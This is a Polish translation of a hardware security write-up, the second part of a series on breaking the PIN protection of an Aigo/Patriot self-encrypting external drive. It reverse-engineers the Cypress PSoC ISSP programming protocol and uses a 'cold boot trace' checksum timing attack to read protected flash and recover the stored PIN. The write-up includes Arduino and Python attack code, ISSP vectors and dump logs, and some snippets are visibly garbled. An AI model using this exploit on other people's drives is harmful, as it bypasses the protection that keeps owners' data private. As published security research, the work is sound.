To jest druga i ostatnia część artykułu o łamaniu zewnętrznych samoszyfrujących dysków. Przypominam, że niedawno kolega przyniósł mi dysk twardy Patriot (Aigo) SK8671, postanowiłem go zanalizować i teraz dzielę się tym, co z tego wyszło. Przed dalszym czytaniem koniecznie zapoznajcie się z artykułem.

4. Zaczynamy od zrzutu z wewnętrznej pamięci flash PSoC
Tak więc, wszystko wskazuje na to (jak ustaliliśmy w [pierwszej części]()), że kod PIN jest przechowywany w pamięci flash PSoC. Dlatego musimy odczytać tę pamięć. Zestaw niezbędnych działań:
- przejąć kontrolę nad „komunikacją” z mikrokontrolerem;
- znaleźć sposób na sprawdzenie, czy ta „komunikacja” jest zabezpieczona przed odczytem z zewnątrz;
- znaleźć sposób na obejście zabezpieczenia.
Są dwa miejsca, gdzie warto szukać działającego kodu PIN:
- wewnętrzna pamięć flash;
- SRAM, gdzie kod PIN może być przechowywany w celu porównania z tym, który wprowadza użytkownik.
Z góry zaznaczam, że udało mi się odczytać zrzut z wewnętrznej pamięci flash PSoC, obchodząc jej system ochrony, za pomocą ataku sprzętowego „śledzenie z zimnym restartem” – po odwróceniu niedokumentowanych możliwości protokołu ISSP. Umożliwiło mi to bezpośrednie wykonanie zrzutu działającego kodu PIN.
$ ./psoc.py
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9Końcowy kod programu:
- ;
- .
5. Protokół ISSP
5.1. Czym jest ISSP
„Komunikacja” z mikrokontrolerem może oznaczać różne rzeczy: od „producenta do producenta”, po interakcję przy użyciu protokołu szeregowego (np. ICSP dla mikroprocesorów PIC od Microchip).
Dla Cypress istnieje własny protokół własnościowy, zwany ISSP (in-system serial programming protocol; wewnętrzny protokół programowania szeregowego), który jest częściowo opisany w . daje również pewne informacje. Istnieje także analog OpenSource, znany jako HSSP (skorzystamy z niego nieco później). ISSP działa w następujący sposób:
- zrestartować PSoC;
- wyprowadzić magiczną liczbę na nóżkę danych szeregowych tego PSoC; aby przejść w tryb zewnętrznego programowania;
- wysłać polecenia, które są długimi ciągami bitów, zwanymi „wektorami”.
W dokumentacji ISSP te wektory zdefiniowane są tylko dla niewielkiej garstki poleceń:
- Initialize-1
- Initialize-2
- Initialize-3 (opcje 3V i 5V)
- ID-SETUP
- READ-ID-WORD
- SET-BLOCK-NUM: 10011111010dddddddd111, gdzie dddddddd=block #
- BULK ERASE
- PROGRAM-BLOCK
- VERIFY-SETUP
- READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, gdzie DDDDDDDD = dane wyjściowe, aaaaaa = adres (6 bitów)
- WRITE-BYTE: 10010aaaaaadddddddd111, gdzie dddddddd = dane wejściowe, aaaaaa = adres (6 bitów)
- SECURE
- CHECKSUM-SETUP
- READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, gdzie DDDDDDDDDDDDDDDD = dane wyjściowe: suma kontrolna urządzenia
- ERASE BLOCK
Na przykład, wektor dla Initialize-2:
1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111Wszystkie wektory mają tę samą długość: 22 bity. W dokumentacji HSSP znajdują się dodatkowe informacje dotyczące ISSP: „wektor ISSP to nic innego jak ciąg bitów, reprezentujący zestaw instrukcji”.
5.2. Demistyfikacja wektorów
Zajmijmy się tym, co się tutaj dzieje. Początkowo zakładałem, że te wektory stanowią surowe wersje instrukcji M8C, jednak po sprawdzeniu tej hipotezy odkryłem, że kody operacyjne nie pasują.
Następnie wpisałem w Google powyższy wektor i natknąłem się na gdzie autor, mimo iż nie zagłębia się w szczegóły, daje kilka przydatnych wskazówek: „Każda instrukcja zaczyna się od trzech bitów, które odpowiadają jednej z czterech mnemonik (odczyt z RAM, zapis do RAM, odczyt rejestru, zapis rejestru). Następnie podawany jest adres 8-bitowy, potem 8 bitów danych (odczytanych lub do zapisania) i w końcu trzy bity stopu.”
Potem udało mi się zdobyć bardzo przydatne informacje z sekcji „Supervisory ROM (SROM)” SROM to twardo zakodowana ROM w PSoC, która zapewnia funkcje serwisowe (na podobnej zasadzie jak Syscall) – dla kodu programu uruchamianego w przestrzeni użytkownika:
- 00h: SWBootReset
- 01h: ReadBlock
- 02h: WriteBlock
- 03h: EraseBlock
- 06h: TableRead
- 07h: CheckSum
- 08h: Calibrate0
- 09h: Calibrate1
Porównując nazwy wektorów z funkcjami SROM, możemy dopasować różne operacje wspierane przez ten protokół — do oczekiwanych parametrów SROM. Dzięki temu możemy dekodować pierwsze trzy bity wektorów ISSP:
- 100 => "wrmem"
- 101 => "rdmem"
- 110 => "wrreg"
- 111 => "rdreg"
Jednak pełne zrozumienie procesów wewnętrznych chipu można uzyskać tylko przy bezpośredniej komunikacji z PSoC.
5.3. Komunikacja z PSoC
Ponieważ Dirk Petrauński już kod HSSP firmy Cypress na Arduino, skorzystałem z Arduino Uno do podłączenia do złącza ISSP klawiatury.
Zauważ, że w trakcie swoich badań znacząco zmieniłem kod Dirka. Moją modyfikację możesz znaleźć na GitHubie: i odpowiedni skrypt Pythona do komunikacji z Arduino w moim repozytorium .
Zatem korzystając z Arduino, początkowo używałem tylko 'oficjalnych' wektorów do "komunikacji". Próbowałem odczytać wewnętrzną pamięć ROM, używając polecenia VERIFY. Jak się spodziewałem, nie udało mi się to. Prawdopodobnie z powodu tego, że w pamięci flash aktywowane są bity ochrony przed odczytem.
Następnie stworzyłem kilka prostych wektorów do zapisu i odczytu pamięci/rejestrów. Zauważ, że możemy odczytać całą SROM, mimo że pamięć flash jest chroniona!
5.4. Identyfikacja wewnętrznych rejestrów chipu
Patrząc na 'zdysasemblerowane' wektory, odkryłem, że urządzenie używa niedokumentowanych rejestrów (0xF8-0xFA) do wskazywania opkodów M8C, które są wykonywane bezpośrednio, pomijając ochronę. Pozwoliło mi to uruchamiać różne opkody, takie jak 'ADD', 'MOV A, X', 'PUSH' czy 'JMP'. Dzięki nim (analizując efekty uboczne, jakie wywierają na rejestry) mogłem określić, które z niedokumentowanych rejestrów są faktycznie zwykłymi rejestrami (A, X, SP i PC).
W efekcie 'zdysasemblerowany' kod wygenerowany przez narzędzie HSSP_disas.rb wygląda tak (dla jasności dodałem komentarze):
--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00 # reset flags
[DE C0 1C] wrreg SP (f6), 0x00 # reset SP
[9F 07 5C] wrmem KEY1, 0x3A # required argument for SSC
[9F 20 7C] wrmem KEY2, 0x03 # similarly
[DE A0 1C] wrreg PCh (f5), 0x00 # reset PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03 # (LSB) ... to 3 ??
[9F 70 1C] wrmem POINTER, 0x80 # RAM pointer for output data
[DF 26 1C] wrreg opc1 (f9), 0x30 # Opcode 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40 # Opcode 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01 # BLOCK ID for SSC call
[DE 00 DC] wrreg A (f0), 0x06 # "Syscall" number: TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00 # Opcode for SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 # Undocumented operation: execute external opcode
5.5. Bity ochrony
Na tym etapie mogę już komunikować się z PSoC, ale nadal nie mam wiarygodnych informacji o bitach ochrony pamięci flash. Byłem bardzo zaskoczony faktem, że Cypress nie daje użytkownikowi żadnych narzędzi do sprawdzenia, czy ochrona jest aktywna. Zgłębiłem Google, aby ostatecznie zrozumieć, że kod HSSP dostarczony przez Cypressa został zaktualizowany już po wydaniu modyfikacji przez Dirka. I oto! Pojawił się nowy wektor:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # nieznane argumenty
[9F E0 1C] wrmem 0xFF, 0x00 # podobnie
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10 # nieudokumentowany syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Używając tego wektora (patrz read_security_data w psoc.py), uzyskujemy wszystkie bity ochrony w SRAM w 0x80, gdzie na każdy chroniony blok przypada po dwa bity.
Wynik jest przygnębiający: wszystko jest chronione w trybie „wyłącz zewnętrzne odczyty i zapisy”. Dlatego nie tylko nie możemy odczytywać danych z pamięci flash, ale także nie możemy zapisywać (na przykład, aby wprowadzić tam ROM-dumper). A jedyny sposób na wyłączenie ochrony to całkowite skasowanie całego układu. 🙁
6. Pierwszy (nieudany) atak: ROMX
Możemy spróbować wykonać następujący trik: mając możliwość wykonywania dowolnych opkodów, czemu nie spróbować wykonać ROMX, który jest stosowany do odczytu pamięci flash? Taki sposób ma całkiem niezłe szanse na powodzenie. Funkcja ReadBlock, która odczytuje dane z SROM (który jest używany przez wektory), sprawdza, czy jest wywoływana z ISSP. Jednak opkod ROMX, przypuszczalnie, może nie mieć takiego sprawdzenia. Oto kod w Pythonie (po dodaniu kilku pomocniczych klas do kodu Arduino w C):
for i in range(0, 8192):
write_reg(0xF0, i>>8) # A = 0
write_reg(0xF3, i&0xFF) # X = 0
exec_opcodes("x28x30x40") # ROMX, HALT, NOP
byte = read_reg(0xF0) # ROMX reads ROM[A|X] into A
print "x" % ord(byte[0]) # print ROM byteNiestety, ten kod nie działa. 🙁 Właściwie działa, ale zwraca własne opkody (0x28 0x30 0x40)! Nie sądzę, aby odpowiednia funkcjonalność urządzenia była elementem ochrony przed odczytem. To bardziej przypomina inżynieryjny trik: podczas wykonywania zewnętrznych opkodów, magistrala ROM jest przekierowywana do bufora tymczasowego.
7. Drugi atak: śledzenie z zimnym restartem
Ponieważ trik z ROMX nie zadziałał, zaczynam myśleć o innej wariacji tego triku – opisanej w publikacji .
7.1. Implementacja
W dokumentacji ISSP przedstawiono następujący wektor dla CHECKSUM-SETUP:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12W zasadzie wywoływana jest funkcja SROM 0x07, jak przedstawiono w dokumentacji (kursywą zaznaczono mój):
To jest funkcja sprawdzająca sumę kontrolną. Oblicza 16-bitową sumę kontrolną dla liczby bloków określonej przez użytkownika – w jednym banku flash, licząc od zera. Parametr BLOCKID jest używany do przekazania liczby bloków, które będą wykorzystane w obliczeniach sumy kontrolnej. Wartość „1” obliczy sumę kontrolną tylko dla bloku zerowego; podczas gdy „0” spowoduje, że obliczona zostanie całkowita suma kontrolna wszystkich 256 bloków banku flash. 16-bitowa suma kontrolna jest zwracana przez KEY1 i KEY2. W parametrze KEY1 rejestrowane są najmniejsze 8 bitów sumy kontrolnej, a w KEY2 – najwyższe 8 bitów. Dla urządzeń z kilkoma bankami flash funkcja sumy kontrolnej jest wywoływana dla każdego z osobna. Numer banku, z którym będzie działać, jest ustalany w rejestrze FLS_PR1 (poprzez ustawienie w nim bitu odpowiadającego docelowemu bankowi flash).
Należy zauważyć, że to najprostsza suma kontrolna: bajty są po prostu sumowane jeden za drugim; żadnych wydumanych dziwactw CRC. Dodatkowo, znając, że w rdzeniu M8C zestaw rejestrów jest bardzo mały, przypuszczałem, że podczas obliczania sumy kontrolnej, wartości pośrednie będą rejestrowane w tych samych zmiennych, które ostatecznie wyjdą na wyjściu: KEY1 (0xF8) / KEY2 (0xF9).
Zatem, w teorii mój atak wygląda następująco:
- Łączymy się przez ISSP.
- Uruchamiamy obliczenie sumy kontrolnej, używając wektora CHECKSUM-SETUP.
- Resetujemy procesor po ustalonym czasie T.
- Odczytujemy RAM, aby uzyskać bieżącą sumę kontrolną C.
- Powtarzamy kroki 3 i 4, za każdym razem nieco zwiększając T.
- Przywracamy dane z pamięci flash, odejmując poprzednią sumę kontrolną C od bieżącej.
Jednak pojawił się problem: wektor Initialize-1, który musimy wysłać po ponownym uruchomieniu, nadpisuje KEY1 i KEY2:
1100101000000000000000 # Magia, która przestawia PSoC w tryb programowania
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # suma kontrolna jest tutaj nadpisywana
[9F 20 7C] wrmem KEY2, 0x03 # i tutaj
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09 # Funkcja SROM 9
[DF 00 1C] wrreg opc0 (f8), 0x00 # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Ten kod zmazuje naszą cenną sumę kontrolną, wywołując Calibrate1 (funkcja SROM 9)… Może uda nam się, po prostu wysyłając magiczną liczbę (z początku powyższego kodu), przejść do trybu programowania, a następnie odczytać SRAM? I tak, to działa! Kod Arduino realizujący ten atak jest dość prosty:
case Cmnd_STK_START_CSUM:
checksum_delay = ((uint32_t)getch())<<24;
checksum_delay |= ((uint32_t)getch())<<16;
checksum_delay |= ((uint32_t)getch())< 10000) {
ms_delay = checksum_delay/1000;
checksum_delay = checksum_delay00;
}
else {
ms_delay = 0;
}
send_checksum_v();
if(checksum_delay)
delayMicroseconds(checksum_delay);
delay(ms_delay);
start_pmode();- Odczytaj checksum_delay.
- Uruchom obliczenie sumy kontrolnej (send_checksum_v).
- Odczekaj zadany okres czasu, biorąc pod uwagę następujące pułapki:
- Zmarnowałem mnóstwo czasu, zanim dowiedziałem się, że tak naprawdę działa poprawnie tylko dla opóźnień nieprzekraczających 16383µs;
- a potem znów zmarnowałem tyle samo czasu, odkrywając, że delayMicroseconds, gdy podaje się jej 0, działa zupełnie nieprawidłowo!
- Zrestartuj PSoC w trybie programowania (po prostu wysyłamy magiczną liczbę, bez wysyłania wektorów inicjujących).
Końcowy kod w Pythonie:
for delay in range(0, 150000): # opóźnienie w mikrosekundach
for i in range(0, 10): # liczba odczytów dla każdego z opóźnień
try:
reset_psoc(quiet=True) # restart i wejście w tryb programowania
send_vectors() # wysyłanie wektorów inicjujących
ser.write("x85"+struct.pack(">I", delay)) # obliczenie sumy kontrolnej + restart po opóźnieniu
res = ser.read(1) # odczytanie ACK z arduino
except Exception as e:
print e
ser.close()
os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # otwarcie portu szeregowego
continue
print "d X X X" % (delay, # odczyt RAM-bajtów
read_regb(0xf1),
read_ramb(0xf8),
read_ramb(0xf9))W dwóch słowach, co robi ten kod:
- Restartuje PSoC (i wysyła mu magiczną liczbę).
- Wysyła pełne wektory inicjalizacji.
- Wywołuje funkcję Arduino Cmnd_STK_START_CSUM (0x85), gdzie jako parametr przekazywane jest opóźnienie w mikrosekundach.
- Odczytuje sumę kontrolną (0xF8 i 0xF9) oraz niedokumentowany rejestr 0xF1.
Ten kod wykonuje się 10 razy w 1 mikrosekundzie. 0xF1 został tutaj uwzględniony, ponieważ był jedynym rejestrem, który zmieniał się podczas obliczania sumy kontrolnej. Może to być jakaś zmienna tymczasowa używana przez jednostkę arytmetyczno-logiczną. Zwróć uwagę na brzydki haczyk, którym restartuję Arduino, używając picocom, gdy Arduino przestaje dawać jakiekolwiek oznaki życia (nie mam pojęcia, dlaczego).
7.2. Odczytujemy wynik
Wynik działania skryptu Python wygląda tak (uproszczony dla czytelności):
DELAY F1 F8 F9 # F1 – wspomniany wcześniej nieznany rejestr
# F8 młodszy bajt sumy kontrolnej
# F9 starszy bajt sumy kontrolnej
00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00 # suma kontrolna resetowana do 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00 # 1. bajt: 0x0080-0x0000 = 0x80
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00 # 2. bajt: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01 # nie mam pojęcia, co się tutaj dzieje
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00 # Znowu E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00 # Hmmmmmm
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01 # A, już rozumiem! To przeniesienie do wyższego bajtu
00063 01 17 01
[...]
00075 CC 17 01 # Więc, 0x117-0xE7: 0x30Mamy jednak problem: ponieważ operujemy rzeczywistą sumą kontrolną, bajt zerowy nie zmienia odczytanej wartości. Jednakże ponieważ cała procedura obliczeniowa (8192 bajty) zajmuje 0,1478 sekundy (z małymi odchyleniami przy każdym uruchomieniu), co odpowiada około 18,04 µs na bajt, – możemy wykorzystać ten czas do sprawdzenia wartości sumy kontrolnej w odpowiednich momentach. Dla pierwszych przebiegów wszystko jest dość łatwe do odczytania, ponieważ czas realizacji procedury obliczeniowej zawsze jest praktycznie taki sam. Jednak koniec tego zrzutu jest mniej precyzyjny, ponieważ „nieistotne odchylenia czasowe” przy każdym przebiegu – sumują się i stają się znaczące:
134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DDTo 10 zrzutów dla każdego opóźnienia mikrosekundowego. Całkowity czas pracy na zrzut wszystkich 8192 bajtów pamięci flash wynosi około 48 godzin.
7.3. Rekonstrukcja binarnego kodu flash
Jeszcze nie ukończyłem pisania kodu, który w pełni rekonstruuje kod programowy pamięci flash, biorąc pod uwagę wszystkie odchylenia czasowe. Jednak początek tego kodu już odzyskałem. Aby upewnić się, że zrobiłem to poprawnie, disasemblerowałem go za pomocą m8cdis:
0000: 80 67 jmp 0068h ; Wektor reset
[...]
0068: 71 10 or F,010h
006a: 62 e3 87 mov reg[VLT_CR],087h
006d: 70 ef and F,0efh
006f: 41 fe fb and reg[CPU_SCR1],0fbh
0072: 50 80 mov A,080h
0074: 4e swap A,SP
0075: 55 fa 01 mov [0fah],001h
0078: 4f mov X,SP
0079: 5b mov A,X
007a: 01 03 add A,003h
007c: 53 f9 mov [0f9h],A
007e: 55 f8 3a mov [0f8h],03ah
0081: 50 06 mov A,006h
0083: 00 ssc
[...]
0122: 18 pop A
0123: 71 10 or F,010h
0125: 43 e3 10 or reg[VLT_CR],010h
0128: 70 00 and F,000h ; Tryb paging zmieniony z 3 na 0
012a: ef 62 jacc 008dh
012c: e0 00 jacc 012dh
012e: 71 10 or F,010h
0130: 62 e0 02 mov reg[OSC_CR0],002h
0133: 70 ef and F,0efh
0135: 62 e2 00 mov reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff jmp 013bh
013d: 50 08 mov A,008h
013f: 7f retWygląda całkiem wiarygodnie!
7.4. Znajdujemy adres przechowywania pin kodu
Teraz, gdy możemy odczytywać sumę kontrolną w potrzebnych momentach czasu, możemy łatwo sprawdzić, jak i gdzie się zmienia, gdy:
- wprowadzamy nieprawidłowy pin kod;
- zmieniamy pin kod.
Na początku, aby znaleźć przybliżony adres przechowywania, wykonałem zrzut sumy kontrolnej co 10 ms, po restarcie. Następnie wprowadziłem nieprawidłowy pin kod i zrobiłem to samo.
Wynik okazał się niezbyt przyjemny, ponieważ zmian było wiele. Ale w końcu udało mi się ustalić, że suma kontrolna zmieniła się gdzieś w przedziale między 120000 µs a 140000 µs opóźnienia. Ale "pin kod", który znalazłem, był całkowicie błędny – z powodu artefaktu procedury delayMicroseconds, która działa w dziwny sposób, gdy przekazywana jest jej wartość 0.
Następnie, spędzając prawie 3 godziny, przypomniałem sobie, że systemowy wywołanie CheckSum w SROM przyjmuje argument, który określa liczbę bloków do obliczenia sumy kontrolnej! Tak więc możemy łatwo zlokalizować adres przechowywania pin kodu i licznika "nieudanych prób" z dokładnością do 64-bajtowego bloku.
Moje początkowe przebiegi dały następujący rezultat:

Następnie zmieniłem pin kod z "123456" na "1234567" i otrzymałem:

W ten sposób pin kod i licznik nieudanych prób, wydaje się, są przechowywane w bloku nr 126.
7.5. Zrobienie zrzutu bloku nr 126
Blok nr 126 powinien znajdować się gdzieś w okolicy 125x64x18 = 144000 µs, od początku obliczania sumy kontrolnej, w moim pełnym zrzucie, i wygląda całkiem wiarygodnie. Następnie, po ręcznym odrzuceniu licznych nieprawidłowych zrzutów (z powodu nagromadzenia "nieznacznych odchyleń czasowych"), ostatecznie uzyskałem takie bajty (przy opóźnieniu 145527 µs):

Jest oczywiste, że kod pin jest przechowywany w postaci niezaszyfrowanej! Te wartości nie są zapisane w kodach ASCII, ale jak się okazało – odzwierciedlają odczyty z klawiatury pojemnościowej.
W końcu przeprowadziłem kilka testów, aby znaleźć, gdzie przechowywany jest licznik błędnych prób. Oto wyniki:

0xFF – oznacza „15 prób”, a jego wartość zmniejsza się przy każdej błędnej próbie.
7.6. Przywracanie kodu pin
Oto mój nieestetyczny kod, który łączy wszystko, co powyżej:
def dump_pin():
pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
last_csum = 0
pin_bytes = []
for delay in range(145495, 145719, 16):
csum = csum_at(delay, 1)
byte = (csum-last_csum)&0xFF
print "d x (x) => x" % (delay, csum, last_csum, byte)
pin_bytes.append(byte)
last_csum = csum
print "PIN: ",
for i in range(0, len(pin_bytes)):
if pin_bytes[i] in pin_map:
print pin_map[pin_bytes[i]],
printOto wyniki jego działania:
$ .\psoc.py
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9Hura! Działa!
Zauważ, że wartości opóźnienia, które użyłem, prawdopodobnie są aktualne tylko dla konkretnego PSoC – tego, którego używałem.
8. Co dalej?
Podsumowując, w kontekście naszego dysku Aigo na stronie PSoC:
- możemy odczytywać SRAM, nawet jeśli jest ona chroniona przed odczytem;
- możemy obejść ochronę przed odczytem, stosując atak "cold boot trace", oraz bezpośrednie odczytanie kodu pin.
Jednakże nasze ataki mają pewne niedociągnięcia – z powodu problemów z synchronizacją. Można by je poprawić w następujący sposób:
- napisać narzędzie do prawidłowego dekodowania danych wyjściowych, które zostały uzyskane w wyniku ataku "cold boot trace";
- użyć dodatku FPGA do stworzenia dokładniejszych opóźnień czasowych (lub użyć sprzętowych timerów Arduino);
- spróbować kolejną metodę ataku: wprowadzić nieprawidłowy kod PIN, zrestartować urządzenie i spróbować zrzucić RAM, mając nadzieję, że prawidłowy kod PIN zostanie zapisany w RAM, aby go porównać. Jednak na Arduino nie jest to takie proste, ponieważ poziom sygnału Arduino wynosi 5 woltów, podczas gdy badana przez nas płyta działa z sygnałami 3,3 woltów.
Jedna interesująca rzecz, którą moglibyśmy spróbować – zabawa poziomem napięcia, aby obejść zabezpieczenia przed odczytem. Gdyby takie podejście zadziałało, moglibyśmy uzyskać całkowicie dokładne dane z pamięci flash, zamiast polegać na odczycie sumy kontrolnej z niedokładnymi opóźnieniami czasowymi.
Ponieważ SROM prawdopodobnie odczytuje bity zabezpieczeń za pomocą wywołania systemowego ReadBlock, moglibyśmy zrobić to samo, co w blogu Dmitrija Nędzpasowa – ponowna realizacja ataku Krisa Gerlińskiego, ogłoszonego na konferencji .
Jeszcze jedna ciekawa rzecz, którą moglibyśmy zrobić – zdrapać obudowę z układu: aby zrzucić SRAM, zidentyfikować niedokumentowane wywołania systemowe i podatności.
9. Podsumowanie
Zatem ochrona tego nośnika wymaga poprawy, ponieważ do przechowywania kodu PIN używa zwykłego (nie „wzmocnionego”) mikroprocesora… Poza tym jeszcze nie spojrzałem (jeszcze), jak na tym urządzeniu sprawy wyglądają z szyfrowaniem danych!
Co można doradzić dla Aigo? Analizując kilka modeli szyfrowanych dysków HDD, w 2015 roku zrobiłem na SyScan, w której omówiłem problemy bezpieczeństwa kilku zewnętrznych dysków HDD i podałem rekomendacje, co można w nich poprawić. 🙂
Na to badanie poświęciłem dwa weekendy i kilka wieczorów. W sumie około 40 godzin. Licząc od samego początku (gdy otworzyłem dysk) do końca (zrzut kodu PIN). W te 40 godzin wliczone jest również czas, który poświęciłem na napisanie tego artykułu. To była bardzo interesująca podróż.
Źródło: habr.com
